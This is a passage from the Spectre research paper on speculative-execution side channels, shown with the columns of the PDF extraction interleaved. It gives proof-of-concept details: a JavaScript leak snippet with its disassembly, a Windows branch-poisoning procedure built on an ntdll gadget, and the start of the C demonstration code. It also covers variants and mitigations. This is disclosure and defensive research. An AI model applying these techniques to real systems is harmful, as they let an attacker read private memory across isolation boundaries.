in a cache pendix A works with up to 188 simple instructions in- miss, and the processor faces a substantial delay until serted in the source code between the ‘if’ statement and its value is available from DRAM. During this wait, the the line accessing array1/array2. branch predictor assumes the if will be true, and the speculative execution logic adds x to the base address 4.2 Example Implementation in C of array1 and requests the data at the resulting address from the memory subsystem. This read is a cache hit, and Appendix A includes demonstration code in C for x86 quickly returns the value of the secret byte k. The specu- processors. lative execution logic then uses k to compute the address In this code, if the compiled instructions in of array2[k * 256], then sends a request to read this victim function() were executed in strict program address from memory (resulting in another cache miss). order, the function would only read from array1[0..15] While the read from array2 is pending, the value of since array1 size = 16. However, when executed array1 size finally arrives from DRAM. The proces- speculatively, out-of-bounds reads are possible. sor realizes that its speculative execution was erroneous, The read memory byte() function makes several and rewinds its register state. However, on actual proces- training calls to victim function() to make the sors, the speculative read from array2 affects the cache branch predictor expect valid values for x, then calls state in an address-specific manner, where the address with an out-of-bounds x. The conditional branch mis- depends on k. predicts, and the ensuing speculative execution reads a To complete the attack, the adversary simply needs to secret byte using the out-of-bounds x. The specula- detect the change in the cache state to recover the se- tive code then reads from array2[array1[x] * 512], cret byte k. This is easy if array2 is readable by the leaking the value of array1[x] into the cache state. attacker since the next read to array2[n*256] will be To complete the attack, a simple flush+probe is used fast for n=k and slow for all other n ∈ 0..255. Other- to identify which cache line in array2 was loaded, re- wise, a prime-and-probe attack [29] can infer k by de- veaing the memory contents. The attack is repeated sev- tecting the eviction caused by the read from array2. Al- eral times, so even if the target byte was initially un- ternatively, the adversary can immediately call the tar- cached, the first iteration will bring it into the cache. get function again with an in-bounds value x’ and mea- The unoptimized code in Appendix A reads approxi- sure how long the second call takes. If array1[x’] mately 10KB/second on an i7 Surface Pro 3. equals k, then the location accessed in array2 will be in the cache and the operation will tend to be faster than 4.3 Example Implementation in if array1[x’]! = k. This yields a memory compari- JavaScript son operation that, when called repeatedly, can solve for memory bytes as desired. Another variant leverages the As a proof-of-concept, JavaScript code was written cache state entering the speculative execution, since the that, when run in the Google Chrome browser, allows performance of the speculative execution changes based JavaScript to read private memory from the process on whether array2[k*256] was cached, which can then in which it runs (cf. Listing 2). The portion of the be inferred based on any measurable effects from subse- JavaScript code used to perform the leakage is as fol- quent speculatively-executed instructions. lows, where the constant TABLE1 STRIDE = 4096 and TABLE1 BYTES= 225: On branch-predictor mistraining passes, index is set 4.1 Discussion (via bit operations) to an in-range value, then on the final iteration index is set to an out-of-bounds address Experiments were performed on multiple x86 processor into simpleByteArray. The variable localJunk is architectures, including Intel Ivy Bridge (i7-3630QM), used to ensure that operations are not optimized out, Intel Haswell (i7-4650U), Intel Skylake (unspecified and the “|0” operations act as optimization hints to the Xeon on Google Cloud), and AMD Ryzen. The Spectre JavaScript interpreter that values are integers. vulnerability was observed on all of these CPUs. Similar Like other optimized JavaScript engines, V8 performs results were observed on both 32- and 64-bit modes, and just-in-time compilation to convert JavaScript into ma- both Linux and Windows. Some ARM processors also chine language. To obtain the x86 disassembly of the 6 1 if (index < simpleByteArray.length) { 2 index = simpleByteArray[index | 0]; 3 index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0; 4 localJunk ^= probeTable[index|0]|0; 5 } Listing 2: Exploiting Speculative Execution via JavaScript. 1 cmpl r15,[rbp-0xe0] ; Compare index (r15) against simpleByteArray.length 2 jnc 0x24dd099bb870 ; If index >= length, branch to instruction after movq below 3 REX.W leaq rsi,[r12+rdx*1] ; Set rsi=r12+rdx=addr of first byte in simpleByteArray 4 movzxbl rsi,[rsi+r15*1] ; Read byte from address rsi+r15 (= base address+index) 5 shll rsi, 12 ; Multiply rsi by 4096 by shifting left 12 bits}\%\ 6 andl rsi,0x1ffffff ; AND reassures JIT that next operation is in-bounds 7 movzxbl rsi,[rsi+r8*1] ; Read from probeTable 8 xorl rsi,rdi ; XOR the read result onto localJunk 9 REX.W movq rdi,rsi ; Copy localJunk into rdi Listing 3: Disassembly of Speculative Execution in JavaScript Example (Listing 2). JIT output during development, the command-line tool yielded a high-resolution timer that provided sufficient D8 was used. Manual tweaking of the source code lead- resolution. ing up to the snippet above was done to get the value of simpleByteArray.length in local memory (instead of cached in a register or requiring multiple instructions to 5 Poisoning Indirect Branches fetch). See Listing 3 for the resulting disassembly output from D8 (which uses AT&T assembly syntax). Indirect branch instructions have the ability to jump to The clflush instruction is not accessible from more than two possible target addresses. For example, JavaScript, so cache flushing was performed by reading x86 instructions can jump to an address in a register a series of addresses at 4096-byte intervals out of a large (“jmp eax”), an address in a memory location (“jmp array. Because of the memory and cache configuration [eax]” or “jmp dword ptr [0x12345678]”), or an on Intel processors, a series of ˜2000 such reads (depend- address from the stack (“ret”). Indirect branches are ing on the processor’s cache size) were adequate evict out also supported on ARM (e.g., “MOV pc, r14”), MIPS the data from the processor’s caches for addresses having (e.g., “jr $ra”), RISC-V (e.g., “jalr x0,x1,0”), and the same value in address bits 11–6 [38]. other processors. The leaked results are conveyed via the cache status If the determination of the destination address is de- of probeTable[n*4096] for n ∈ 0..255, so each at- layed due to a cache miss and the branch predictor has tempt begins with a flushing pass consisting of a series been mistrained with malicious destinations, speculative of reads made from probeTable[n*4096] using values execution may continue at a location chosen by the ad- of n > 256. The cache appears to have several modes for versary. As a result, speculative execution can be misdi- deciding which address to evict, so to encourage a LRU rected to locations that would never occur during legit- (least-recently-used) mode, two indexes were used where imate program execution. If speculative execution can the second trailed the first by several operations. The leave measurable side effects, this is extremely power- length parameter (e.g., [ebp-0xe0] in the disassembly) ful for attackers, for example exposing victim memory needs to be evicted as well. Although its address is un- even in the absence of an exploitable conditional branch known, but there are only 64 possible 64-byte offsets rel- misprediction. ative to the 4096-byte boundary, so all 64 possibilities Consider the case where an attacker seeking to read were tried to find the one that works. a victim’s memory controls the values in two registers JavaScript does not provide access to the rdtscp in- (denoted R1 and R2) when an indirect branch occurs. struction, and Chrome intentionally degrades the accu- This is a common scenario; functions that manipulate racy of its high-resolution timer to dissuade timing at- externally-received data routinely make function calls tacks using performance.now() [1]. However, the while registers contain values that an attacker can con- Web Workers feature of HTML5 makes it simple to cre- trol. (Often these values are ignored by the function; the ate a separate thread that repeatedly decrements a value registers are pushed on the stack at the beginning of the in a shared memory location [18, 32]. This approach called function and restored at the end.) 7 Assuming that the CPU limits speculative execution dictor to create an entry whose history sufficiently mim- to instructions in memory executable by the victim, the ics the victim’s lead-up to the target branch, and whose adversary then needs to find a ‘gadget’ whose specula- prediction destination is the virtual address of the gadget. tive execution will leak chosen memory. For example, Several relevant hardware and operating system im- a such a gadget would be formed by two instructions plementation choices were observed, including: (which do not necessarily need to be adjacent) where the first adds (or XORs, subtracts, etc.) the memory loca- • Speculative execution was only observed when the tion addressed by R1 onto register R2, followed by any branch destination address was executable by the vic- instruction that accesses memory at the address in R2. tim thread, so gadgets need to be present in the mem- In this case, the gadget provides the attacker control (via ory regions executable by the victim. R1) over which address to leak and control (via R2) over • When multiple Windows applications share the same how the leaked memory maps to an address which gets DLL, normally a single copy is loaded and (except read by the second instruction. (The example implemen- for pages that are modified as described below) is tation on Windows describes in more detail an example mapped to the same virtual address for all processes memory reading process using such a gadget.) using the DLL. For even a very simple Windows Numerous other exploitation scenarios are possible, application, the executable DLL pages in the work- depending on what state is known or controlled by the ing set include several megabytes of executable code, adversary, where the information sought by the adver- which provides ample space to search for gadgets. sary resides (e.g., registers, stack, memory, etc.), the ad- versary’s ability to control speculative execution, what • For both history matching and predictions, the branch instruction sequences are available to form gadgets, and predictor only appears to pay attention to branch des- what channels can leak information from speculative op- tination virtual addresses. The source address of the erations. For example, a cryptographic function that re- instruction performing the jump, physical addresses, turns a secret value in a register may become exploitable timing, and process ID do not appear to matter. if the attacker can simply induce speculative execution at an instruction that brings into the cache memory at • The algorithm that tracks and matches jump histo- the address specified in the register. Likewise, although ries appears to use only the low bits of the virtual the example above assumes that the attacker controls two address (which are further reduced by simple hash registers (R1 and R2), attacker control over a single reg- function). As a result, an adversary does not need to ister, value on the stack, or memory value is sufficient for be able to even execute code at any of the memory some gadgets. addresses containing the victim’s branch instruction. In many ways, exploitation is similar to return- ASLR can also be compensated, since upper bits are oriented programming (ROP), except that correctly- ignored and bits 15..0 do not appear to be randomized written software is vulnerable, gadgets are limited in with ASLR in Win32 or Win64. their duration but need not terminate cleanly (since the • The branch predictor learns from jumps to illegal CPU will eventually recognize the speculative error), and destinations. Although an exception is triggered in gadgets must exfiltrate data via side channels rather than the attacker’s process, this can be caught easily (e.g. explicitly. Still, speculative execution can perform com- using try...catch in C++). The branch predictor plex sequences of instructions, including reading from will then make predictions that send other processes the stack, performing arithmetic, branching (including to the illegal destination. multiple times), and reading memory. • Mistraining effects across CPUs were not observed, suggesting that branch predictors on each CPU oper- 5.1 Discussion ate independently. Tests, primarily on a Haswell-based Surface Pro 3, con- • DLL code and constant data regions can be read and firmed that code executing in one hyper-thread of Intel clflush’ed by any process using the DLL, making x86 processors can mistrain the branch predictor for code them convenient to use as table areas in flush-and- running on the same CPU in a different hyper-thread. probe attacks. Tests on Skylake additionally indicated branch history mistraining between processes on the same vCPU (which • DLL regions can be written by applications. A copy- likely occurs on Haswell as well). on-write mechanism is used, so these modifications The branch predictor maintains a cache that maps a are only visible to the process that performs the mod- jump histories to predicted jump destinations, so suc- ification. Still, this simplifies branch predictor mis- cessful mistraining requires convincing the branch pre- training because this allows gadgets to return cleanly 8 during mistraining, regardless of what instructions Speculative execution of this gadget with attacker- follow the gadget. controlled ebx and edi allows an adversary to read the victim’s memory. If the adversary chooses ebx = Although testing was performed using 32-bit applica- m− 0x13BE13BD− edx, where edx = 3 for the sample tions on Windows 8, 64-bit modes and other versions of program (as determined by running in a debugger), the Windows and Linux shared libraries are likely to work first instruction reads the 32-bit value from address m and similarly. Kernel mode testing has not been performed, adds this onto edi. (In the victim, the carry flag happens but the combination of address truncation/hashing in the to be clear, so no additional carry is added.) Since edi history matching and trainability via jumps to illegal des- is also controlled by the attacker, speculative execution tinations suggest that attacks against kernel mode may be of the second instruction will read (and bring into the possible. The effect on other kinds of jumps, such as in- cache) the memory whose address is the sum of the 32- terrupts and interrupt returns, is also unknown. bit value loaded from address m and the attacker-chosen edi. Thus, the attacker can map the 232 possible memory 5.2 Example Implementation on Windows values onto smaller regions, which can then be analyzed via flush-and-probe to solve for memory bytes. For ex- As a proof-of-concept, a simple program was written ample, if the bytes at m+ 2 and m+ 3 are known, the that generates a random key then does an infinite loop value in edi can cancel out their contribution and map that calls Sleep(0), loads the first bytes of a file (e.g., the second read to a 64KB region which can be probed as a header), calls Windows crypto functions to com- || easily via flush-and-probe.pute the SHA-1 hash of (key header), and prints the hash whenever the header changes. When this program The operation chosen for branch mistraining was the is compiled with optimization, the call to Sleep() gets first instruction of the Sleep() function, which is a made with file data in registers ebx and edi. No spe- jump of the form “jmp dword ptr ds:[76AE0078h]” cial effort was taken to cause this; as noted above, func- (where both the location of the jump destination and the tion calls with adversary-chosen values in registers are destination itself change per reboot due to ASLR). This common, although the specifics (such as what values ap- jump instruction was chosen because it appeared that the pear in which registers) are often determined by com- attack process could clflush the destination address, al- piler optimizations and therefore difficult to predict from though (as noted later) this did not work. In addition, source code. The test program did not include any mem- unlike a return instruction, there were no adjacent opera- ory flushing operations or other adaptations to help the tions might un-evict the return address (e.g., by accessing attacker. the stack) and limit speculative execution. The first step was to identify a gadget which, when In order to get the victim to speculatively execute the speculatively executed with adversary-controlled values gadget, the memory location containing the jump desti- for ebx and edi, would reveal attacker-chosen memory nation needs to be uncached, and the branch predictor from the victim process. As noted above, this gadget needs be mistrained to send speculative execution to the must be in an executable page within the working set of gadget. This was accomplished as follows: the victim process. (On Windows, some pages in DLLs are mapped in the address space but require a soft page • Simple pointer operations were used to locate the fault before becoming part of the working set.) A sim- indirect jump at the entry point for Sleep() and ple program was written that saved its own working set the memory location holding the destination for the pages, which are largely representative of the working jump. set contents common to all applications. This output was then searched for potential gadgets, yielding multiple us- • A search of ntdll.dll in RAM was performed to able options for ebx and edi (as well as for other pairs of find the gadget, and some shared DLL memory was registers). Of these, the following byte sequence which chosen for performing flush-and-probe detections. appears in ntdll.dll in both Windows 8 and Windows 10 was (rather arbitrarily) chosen • To prepare for branch predictor mistraining, the memory page containing the destination for the jump 13 BC 13 BD 13 BE 13 destination was made writable (via copy-on-write) 12 17 and modified to change the jump destination to the which, when executed, corresponds to the following in- gadget address. Using the same method, a ret 4 structions: instruction was written at the location of the gad- get. These changes but do not affect the memory adc edi,dword ptr [ebx+edx+13BE13BDh] seen by the victim (which is running in a separate adc dl,byte ptr [edi] process), but makes it so that the attacker’s calls to 9 Sleep() will jump to the gadget address (mistrain- ulative execution. Future processors (or existing proces- ing the branch predictor) then immediately return. sors with different microcode) may behave differently, e.g., if measures are taken to prevent speculatively ex- • A separate thread was launched to repeatedly evict ecuted code from modifying the cache state. In this the victim’s memory address containing the jump section, we examine potential variants of the attack, in- destination. (Although the memory containing the cluding how speculative execution could affect the state destination has the same virtual address for the at- of other microarchitectural components. In general, the tacker and victim, they appear to have different phys- Spectre attack can be combined with other microarchi- ical memory – perhaps because of a prior copy-on- tectural attacks. In this section we explore potential com- write.) Eviction was done using the same general binations and conclude that virtually any observable ef- method as the JavaScript example, i.e., by allocating fect of speculatively executed code can potentially lead a large table and using a pair of indexes to read ad- to leaks of sensitive information. Although the following dresses at 4096-byte multiples of the address to evict. techniques are not needed for the processors tested (and • Thread(s) were launched to mistrain the branch pre- have not been implemented), it is essential to understand dictor. These use a 220 byte (1MB) executable mem- potential variations when designing or evaluating mitiga- ory region filled with 0xC3 bytes (ret instructions. tions. The victim’s pattern of jump destinations is mapped Evict+Time. The Evict+Time attack [29] works by to addresses in this area, with an adjustment for measuring the timing of operations that depend on the ASLR found during an initial training process (see state of the cache. This technique can be adapted to use below). The mistraining threads run a loop which Spectre as follows. Consider the code: pushes the mapped addresses onto the stack such that an initiating ret instruction results in the processor if (false but mispredicts as true) performing a series of return instructions in the mem- read array1[R1] ory region, then branches to the gadget address, then read [R2] (because of the ret placed there) immediately re- turns back to the loop. To encourage hyperthreading Suppose register R1 contains a secret value. If the of the mistraining thread and the victim, the eviction speculatively executed memory read of array1[R1] is and probing threads set their CPU affinity to share a a cache hit, then nothing will go on the memory bus core (which they keep busy), leaving the victim and and the read from [R2] will initiate quickly. If the read mistraining threads to share the rest of the cores. of array1[R1] is a cache miss, then the second read may take longer, resulting in different timing for the vic- • During the initial phase of getting the branch predic- tim thread. In addition, other components in the system tor mistraining working, the victim is supplied with that can access memory (such as other processors) may input that, when the victim calls Sleep(), [ebx+ be able to the presence of activity on the memory bus 3h+ 13BE13BDh] will read a DLL location whose or other effects of the memory read (e.g. changing the value is known and edi is chosen such that the sec- DRAM row address select). We note that this attack, ond operation will point to another location that can unlike those we have implemented, would work even if be monitored easily. With these settings, the branch speculative execution does not modify the contents of the training sequence is adjusted to compensate for the cache. All that is required is that the state of the cache af- victim’s ASLR. fects the timing of speculatively executed code or some • Finally, once an effective mimic jump sequence is other property that ultimately becomes is visible to the found, the attacker can read through the victim’s ad- attacker. dress space to locate and read victim data regions to Instruction Timing. Spectre vulnerabilities do not nec- locate values (which can move due to ASLR) by con- essarily need to involve caches. Instructions whose tim- trolling the values of ebx and edi and using flush- ing depends on the values of the operands may leak in- and-probe on the DLL region selected above. formation on the operands [8]. In the following example, the multiplier is occupied by the speculative execution The completed attack allows the reading of memory of multiply R1, R2. The timing of when the multi- from the victim process. plier becomes available for multiply R3, R4 (either for out-of-order execution or after the misprediction is 6 Variations recognized) could be affected by the timing of the first multiplication, revealing information about R1 and R2. So far we have demonstrated attacks that leverage changes in the state of the cache that occur during spec- if (false but mispredicts as true) 10 multiply R1, R2 This is different from ensuring that speculative execution multiply R3, R4 will not occur or leak information. As a result, serializa- tion instructions may not be an effective countermeasure Contention on the Register File. Suppose the CPU has on all processors or system configurations. In addition, a registers file with a finite number of registers available of the three user-mode serializing instructions listed by for storing checkpoints for speculative execution. In the Intel, only cpuid can be used in normal code, and it de- following example, if condition on R1 in the second stroys many registers. The mfence and lfence (but not ‘if’ is true, then an extra speculative execution check- sfence) instructions also appear to work, with the added point will be created than if condition on R1 is false. benefit that they do not destroy register contents. Their If an adversary can detect this checkpoint, e.g., if spec- behavior with respect to speculative execution is not de- ulative execution of code in hyperthreads is reduced due fined, however, so they may not work in all CPUs or sys- to a shortage of storage, this reveals information about tem configurations.1 Testing on non-Intel CPUs has not R1. been performed. While simple delays could theoretically work, they would need to be very long since specula- if (false but mispredicts as true) tive execution routinely stretches nearly 200 instructions if (condition on R1) ahead of a cache miss, and much greater distances may if (condition) occur. The problem of inserting speculative execution block- Variations on Speculative Execution. Even code that ing instructions is challenging. Although a compiler contains no conditional branches can potentially be at could easily insert such instructions comprehensively risk. For example, consider the case where an attacker (i.e., at both the instruction following each conditional wishes to determine whether R1 contains an attacker- branch and its destination), this would severely degrade chosen value X or some other value. (The ability to performance. Static analysis techniques might be able to make such determinations is sufficient to break some eliminate some of these checks. Insertion in security- cryptographic implementations.) The attacker mistrains critical routines alone is not sufficient, since the vul- the branch predictor such that, after an interrupt occurs, nerability can leverage non-security-critical code in the and the interrupt return mispredicts to an instruction that same process. In addition, code needs to be recompiled, reads memory [R1]. The attacker then chooses X to cor- presenting major practical challenges for legacy applica- respond to a memory address suitable for Flush+Reload, tions. revealing whether R1= X . Indirect branch poisoning is even more challenging Leveraging arbitrary observable effects. Virtually to mitigate in software. It might be possible to disable any observable effect of speculatively executed code can hyperthreading and flush branch prediction state during be leveraged to leak sensitive information. context switches, although there does not appear to be Consider the example in Listing 1 where the operation any architecturally-defined method for doing this [14]. after the access to array1/array2 is observable when This also may not address all cases, such as switch() executed speculatively. In this case, the timing of when statements where inputs to one case may be hazardous in the observable operation begins will depend on the cache another. (This situation is likely to occur in interpreters status of array2. and parsers.) In addition, the applicability of specula- tive execution following other forms of jumps, such as if (x < array1_size) { those involved in interrupt handling, are also currently y = array2[array1[x] * 256]; unknown and likely to vary among processors. // do something using Y that is The practicality of microcode fixes for existing proces- // observable when speculatively executed sors is also unknown. It is possible that a patch could dis- } able speculative execution or prevent speculative mem- ory reads, but this would bring a significant performance 7 Mitigation Options penalty. Buffering speculatively-initiated memory trans- actions separately from the cache until speculative exe- The conditional branch vulnerability can be mitigated cution is committed is not a sufficient countermeasure, if speculative execution can be halted on potentially- since the timing of speculative execution can also reveal sensitive execution paths. On Intel x86 processors, “se- information. For example, if speculative execution uses rializing instructions” appear to do this in practice, al- a sensitive value to form the address for a memory read, though their architecturally-guaranteed behavior is to 1After reviewing an initial draft of this paper, Intel engineers in- “constrain speculative execution because the results of dicated that the definition of lfence will be revised to specify that it speculatively executed instructions are discarded” [4]. blocks speculative execution. 11 the cache status of that read will affect the timing of the termeasures described in the previous section may help next speculative operation. If the timing of that opera- limit practical exploits in the short term, there is currently tion can be inferred, e.g., because it affects a resource no way to know whether a particular code construction such as a bus or ALU used by other threads, the mem- is, or is not, safe across today’s processors – much less ory is compromised. More broadly, potential counter- future designs. measures limited to the memory cache are likely to be A great deal of work lies ahead. Software security insufficient, since there are other ways that speculative fundamentally depends on having a clear common un- execution can leak information. For example, timing ef- derstanding between hardware and software developers fects from memory bus contention, DRAM row address as to what information CPU implementations are (and selection status, availability of virtual registers, ALU ac- are not) permitted to expose from computations. As a re- tivity, and the state of the branch predictor itself need sult, long-term solutions will require that instruction set to be considered. Of course, speculative execution will architectures be updated to include clear guidance about also affect conventional side channels, such as power and the security properties of the processor, and CPU imple- EM. mentations will need to be updated to conform. As a result, any software or microcode countermea- More broadly, there are trade-offs between security sure attempts should be viewed as stop-gap measures and performance. The vulnerabilities in this paper, as pending further research. well as many others, arise from a longstanding focus in the technology industry on maximizing performance. As a result, processors, compilers, device drivers, operating 8 Conclusions and Future Work systems, and numerous other critical components have Software isolation techniques are extremely widely de- evolved compounding layers of complex optimizations ployed under a variety of names, including sandbox- that introduce security risks. As the costs of insecurity ing, process separation, containerization, memory safety, rise, these design choices need to be revisited, and in proof-carrying code. A fundamental security assumption many cases alternate implementations optimized for se- underpinning all of these is that the CPU will faithfully curity will be required. execute software, including its safety checks. Specula- tive execution unfortunately violates this assumption in 9 Acknowledgments ways that allow adversaries to violate the secrecy (but not integrity) of memory and register contents. As a re- This work partially overlaps with independent work by sult, a broad range of software isolation approaches are Google Project Zero. impacted. In addition, existing countermeasures to cache We would like to thank Intel for their professional han- attacks for cryptographic implementations consider only dling of this issue through communicating a clear time- the instructions ‘officially’ executed, not effects due to line and connecting all involved researchers. We would speculative execution, and are also impacted. also thank ARM, Qualcomm, and other vendors for their The feasibility of exploitation depends on a number fast response upon disclosing the issue. of factors, including aspects of the victim CPU and soft- Daniel Gruss, Moritz Lipp, Stefan Mangard and ware and the adversary’s ability to interact with the vic- Michael Schwarz were supported by the European Re- tim. While network-based attacks are conceivable, situa- search Council (ERC) under the European Union’s Hori- tions where an attacker can run code on the same CPU as zon 2020 research and innovation programme (grant the victim pose the primary risk. In these cases, exploita- agreement No 681402). tion may be straightforward, while other attacks may de- Daniel Genkin was supported by NSF awards pend on minutiae such as choices made by the victim’s #1514261 and #1652259, financial assistance award compiler in allocating registers and memory. Fuzzing 70NANB15H328 from the U.S. Department of Com- tools can likely be adapted by adversaries to find vulner- merce, National Institute of Standards and Technol- abilities in current software. ogy, the 2017-2018 Rothschild Postdoctoral Fellowship, As the attack involves currently-undocumented hard- and the Defense Advanced Research Project Agency ware effects, exploitability of a given software program (DARPA) under Contract #FA8650-16-C-7622. may vary among processors. For example, some indirect branch redirection tests worked on Skylake but not on References Haswell. AMD states that its Ryzen processors have “an [1] Security: Chrome provides high-res timers which allow artificial intelligence neural network that learns to pre- cache side channel attacks. https://bugs.chromium.org/p/ dict what future pathway an application will take based chromium/issues/detail?id=508166. on past runs” [3, 5], implying even more complex spec- [2] Cortex-A9 technical reference manual, Revision r4p1, Section ulative behavior. As a result, while the stop-gap coun- 11.4.1, 2012. 12 [3] AMD takes computing to a new horizon with Ryzen processors, [20] GRUSS, D., SPREITZER, R., AND MANGARD, S. Cache tem- 2016. https://www.amd.com/en-us/press-releases/ plate attacks: Automating attacks on inclusive last-level caches. Pages/amd-takes-computing-2016dec13.aspx. In USENIX Security Symposium (2015), USENIX Association, [4] Intel 64 and IA-32 architectures software developer manual, vol pp. 897–912. 3: System programmer’s guide, section 8.3, 2016. [21] GULLASCH, D., BANGERTER, E., AND KRENN, S. Cache [5] AMD SenseMI technology - neural net prediction. Promotional games - bringing access-based cache attacks on AES to practice. video interview with Robert Hallock of AMD, 2017. https: In 2011 IEEE Symposium on Security and Privacy (May 2011), //www youtube com/watch?v=uZRih6APtiQ. IEEE Computer Society Press, pp. 490–505.. . [6] ACIIÇMEZ, O., GUERON, S., AND SEIFERT, J.-P. New branch [22] KIM, Y., DALY, R., KIM, J., FALLIN, C., LEE, J. H., LEE, prediction vulnerabilities in OpenSSL and necessary software D., WILKERSON, C., LAI, K., AND MUTLU, O. Flip- countermeasures. In 11th IMA International Conference on Cryp- ping bits in memory without accessing them: An experimen- tography and Coding (Dec. 2007), S. D. Galbraith, Ed., vol. 4887 tal study of DRAM disturbance errors, 2014. https:// of Lecture Notes in Computer Science, Springer, Heidelberg, users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf. pp. 185–203. [23] KOCHER, P., JAFFE, J., AND JUN, B. Differential power analy- [7] ACIIÇMEZ, O., KOÇ, ÇETIN KAYA., AND SEIFERT, J.-P. Pre- sis. In CRYPTO 1999 (1999), Springer, pp. 388–397. dicting secret keys via branch prediction. In Topics in Cryptology [24] KOCHER, P., JAFFE, J., JUN, B., AND ROHATGI, P. Introduc- – CT-RSA 2007 (Feb. 2007), M. Abe, Ed., vol. 4377 of Lecture tion to differential power analysis. Journal of Cryptographic En- Notes in Computer Science, Springer, Heidelberg, pp. 225–242. gineering 1, 1 (2011), 5–27. [8] ANDRYSCO, M., KOHLBRENNER, D., MOWERY, K., JHALA, [25] KOCHER, P. C. Timing attacks on implementations of Diffie- R., LERNER, S., AND SHACHAM, H. On subnormal floating Hellman, RSA, DSS, and other systems. In CRYPTO 1996 point and abnormal timing. In 2015 IEEE Symposium on Security (1996), Springer, pp. 104–113. and Privacy (May 2015), IEEE Computer Society Press, pp. 623– 639. [26] LEE, S., SHIH, M., GERA, P., KIM, T., KIM, H., AND PEINADO, M. Inferring fine-grained control flow inside SGX [9] BERNSTEIN, D. J. Cache-timing attacks on AES. http: enclaves with branch shadowing. In 26th USENIX Security Sym- //cr.yp.to/papers.html#cachetiming, 2005. posium, USENIX Security 2017, Vancouver, BC, Canada, August [10] BHATTACHARYA, S., MAURICE, C., AND BHASIN, SHIVAM 16-18, 2017. (2017), pp. 557–574. ABD MUKHOPADHYAY, D. Template attack on blinded scalar multiplication with asynchronous perf-ioctl calls. Cryp- [27] LIPP, M., SCHWARZ, M., GRUSS, D., PRESCHER, T., HAAS, tology ePrint Archive, Report 2017/968, 2017. http:// W., MANGARD, S., KOCHER, P., GENKIN, D., YAROM, Y., eprint iacr AND HAMBURG, M. Meltdown. Unpublished, 2018.. .org/2017/968. [11] EVTYUSHKIN, D., PONOMAREV, D. V., AND ABU- [28] LIU, F., YAROM, Y., GE, Q., HEISER, G., AND LEE, R. B. GHAZALEH, N. B. Jump over ASLR: attacking branch Last-level cache side-channel attacks are practical. In IEEE Sym- predictors to bypass ASLR. In MICRO (2016), IEEE Computer posium on Security and Privacy (S&P) 2015 (2015), IEEE. Society, pp. 1–13. [29] OSVIK, D. A., SHAMIR, A., AND TROMER, E. Cache attacks [12] FOGH, A. Negative result: Reading kernel memory from user and countermeasures: The case of AES. In Topics in Cryptology mode, 2017. https://cyber.wtf/2017/07/28/negative- – CT-RSA 2006 (Feb. 2006), D. Pointcheval, Ed., vol. 3860 of result-reading-kernel-memory-from-user-mode/. Lecture Notes in Computer Science, Springer, Heidelberg, pp. 1– 20. [13] GE, Q., YAROM, Y., COCK, D., AND HEISER, G. A survey of microarchitectural timing attacks and countermeasures on con- [30] PERCIVAL, C. Cache missing for fun and profit. http:// temporary hardware. J. Cryptographic Engineering (2016). www.daemonology.net/papers/htt.pdf, 2005. [14] GE, Q., YAROM, Y., AND HEISER, G. Your processor leaks [31] QUISQUATER, J.-J., AND SAMYDE, D. Electromagnetic analy- information - and there’s nothing you can do about it. CoRR sis (EMA): Measures and counter-measures for smart cards. In abs/1612.04474 (2017). E-smart 2001 (2001), pp. 200–210. [15] GENKIN, D., PACHMANOV, L., PIPMAN, I., SHAMIR, A., AND [32] SCHWARZ, M., MAURICE, C., GRUSS, D., AND MANGARD, S. TROMER, E. Physical key extraction attacks on PCs. Commun. Fantastic timers and where to find them: high-resolution microar- ACM 59, 6 (2016), 70–79. chitectural attacks in JavaScript. In International Conference [16] GENKIN, D., PACHMANOV, L., PIPMAN, I., TROMER, E., AND on Financial Cryptography and Data Security (2017), Springer, YAROM, Y. ECDSA key extraction from mobile devices via pp. 247–267. nonintrusive physical side channels. In ACM Conference on [33] SHACHAM, H. The geometry of innocent flesh on the bone: Computer and Communications Security CCS 2016 (Oct. 2016), return-into-libc without function calls (on the x86). In ACM CCS pp. 1626–1638. 07: 14th Conference on Computer and Communications Security [17] GENKIN, D., SHAMIR, A., AND TROMER, E. RSA key extrac- (Oct. 2007), P. Ning, S. D. C. di Vimercati, and P. F. Syverson, tion via low-bandwidth acoustic cryptanalysis. In CRYPTO 2014 Eds., ACM Press, pp. 552–561. (2014), Springer, pp. 444–461 (vol. 1). [34] TANG, A., SETHUMADHAVAN, S., AND STOLFO, S. [18] GRAS, B., RAZAVI, K., BOSMAN, E., BOS, H., AND GIUF- CLKSCREW: exposing the perils of security-oblivious energy FRIDA, C. ASLR on the line: Practical cache attacks on the management. 26th USENIX Security Symposium, 2017. MMU, 2017. http://www.cs.vu.nl/~giuffrida/papers/ [35] TSUNOO, Y., SAITO, T., SUZAKI, T., SHIGERI, M., AND anc-ndss-2017.pdf. MIYAUCHI, H. Cryptanalysis of DES implemented on computers [19] GRUSS, D., LIPP, M., SCHWARZ, M., FELLNER, R., MAU- with cache. In Cryptographic Hardware and Embedded Systems RICE, C., AND MANGARD, S. KASLR is Dead: Long Live – CHES 2003 (Sept. 2003), C. D. Walter, Çetin Kaya. Koç, and KASLR. In International Symposium on Engineering Secure C. Paar, Eds., vol. 2779 of Lecture Notes in Computer Science, Software and Systems (2017), Springer, pp. 161–176. Springer, Heidelberg, pp. 62–76. 13 [36] YAROM, Y., AND FALKNER, K. FLUSH+RELOAD: A high resolution, low noise, L3 cache side-channel attack. In USENIX Security Symposium (2014), USENIX Association, pp. 719–732. [37] YAROM, Y., AND FALKNER, K. FLUSH+RELOAD: A high reso- lution, low noise, L3 cache side-channel attack. In USENIX Secu- rity Symposium 2014 (2014), USENIX Association, pp. 719–732. [38] YAROM, Y., GE, Q., LIU, F., LEE, R. B., AND HEISER, G. Mapping the Intel last-level cache. Cryptology ePrint Archive, Report 2015/905, 2015. http://eprint.iacr.org/2015/905. 14 A Spectre Example Implementation 1 #include 2 #include 3 #include 4 #ifdef _MSC_VER 5 #include /* for rdtscp and clflush */ 6 #pragma optimize("gt",on) 7 #else 8 #include /* for rdtscp and clflush */ 9 #endif 10 11 /******************************************************************** 12 Victim code. 13 ********************************************************************/ 14 unsigned int array1_size = 16; 15 uint8_t unused1[64]; 16 uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; 17 uint8_t unused2[64]; 18 uint8_t array2[256 * 512]; 19 20 char *secret = "The Magic Words are Squeamish Ossifrage."; 21 22 uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ 23 24 void victim_function(size_t x) { 25 if (x < array1_size) { 26 temp &= array2[array1[x] * 512]; 27 } 